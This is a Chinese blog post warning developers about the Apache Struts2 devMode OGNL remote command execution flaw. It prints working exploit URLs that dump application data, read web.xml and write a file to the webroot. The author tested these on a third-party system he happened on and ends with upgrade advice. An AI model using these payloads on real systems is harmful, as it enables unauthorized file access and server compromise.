http://www.douban.com/note/258826307/请大家务必关注安全领域的信息, 特别是如今的互联网时代, 安全性应该放在第一位.
就如同我们的操作系统都需要时不时打补丁一样, 每个程序都是不完美的, 有朝一日出一个大bug, 大家应该第一时间做出反应, 以免遭遇不必要的损失.
看看我们目前的状况, 产品中多使用了一些开源的组件, 少则几个, 多则几十个, 他们都有可能出现bug, 你使用得越多, "中奖"机率也就越高.
当然开源绝对是好东西, 我这里不是恐吓大家千万不要使用任何开源组件, 而是提醒大家务必/一定/确定/及时地关注自己所使用的开源组件的动态, 是否有重大漏洞爆出, 及时找出应对方案.
下面发生的事情是我碰巧遇上的, 完全是出于学习的目的, 希望大家有所警觉, Don't be evil.
在某系统上传照片, 出于测试的目的, 我上传照片时选择了一个test.js文件, 于是乎沦陷了
struts.devMode = evil
这个devMode给我提了个醒, 早一阵子看过一篇安全方面的文章, 有介绍https://blog.whitehatsec.com/vote-now-top-ten-web-hacking-techniques-of-2011/
https://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/是的, 2011年的东西, 现在是2013年了, 而且我也是那是才知道的, 实在惭愧...
请大家务必重视这个漏洞, 非常非常可怕的漏洞 -- remote command execution, 主要是OGNL在作怪
在<a href="apache struts"></a>上面有公布这些漏洞, 建议大家都升级到最新版
于是乎, 全当是测试了
1. 基础测试, 查看应用的application, 发现有用的信息
http://a.com/a.action?debug=command&expression=%23application2. 测试读取文件
http://a.com/a.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.commons.io.FileUtils@readFileToString(new%20java.io.File(%22E:/Tomcat/webapps/ROOT/WEB-INF/web.xml%22))3. 测试写入文件
http://a.com/a.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.commons.io.FileUtils@writeStringToFile(new%20java.io.File(%22E:/Tomcat/webapps/ROOT/5265.html%22),%20%22please%20disable%20devMode%22)4. 查看写入结果
http://a.com/5265.html测试到此为止, 希望其他有使用过struts2的朋友仔细检查下自己有没有中招, 够升级的尽量升级, 不方便升级的请务必关闭那些危险设置.
不经意间, 你小小的一个true or false可能就是一整个产品的true or false!
参考
------
https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txthttp://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html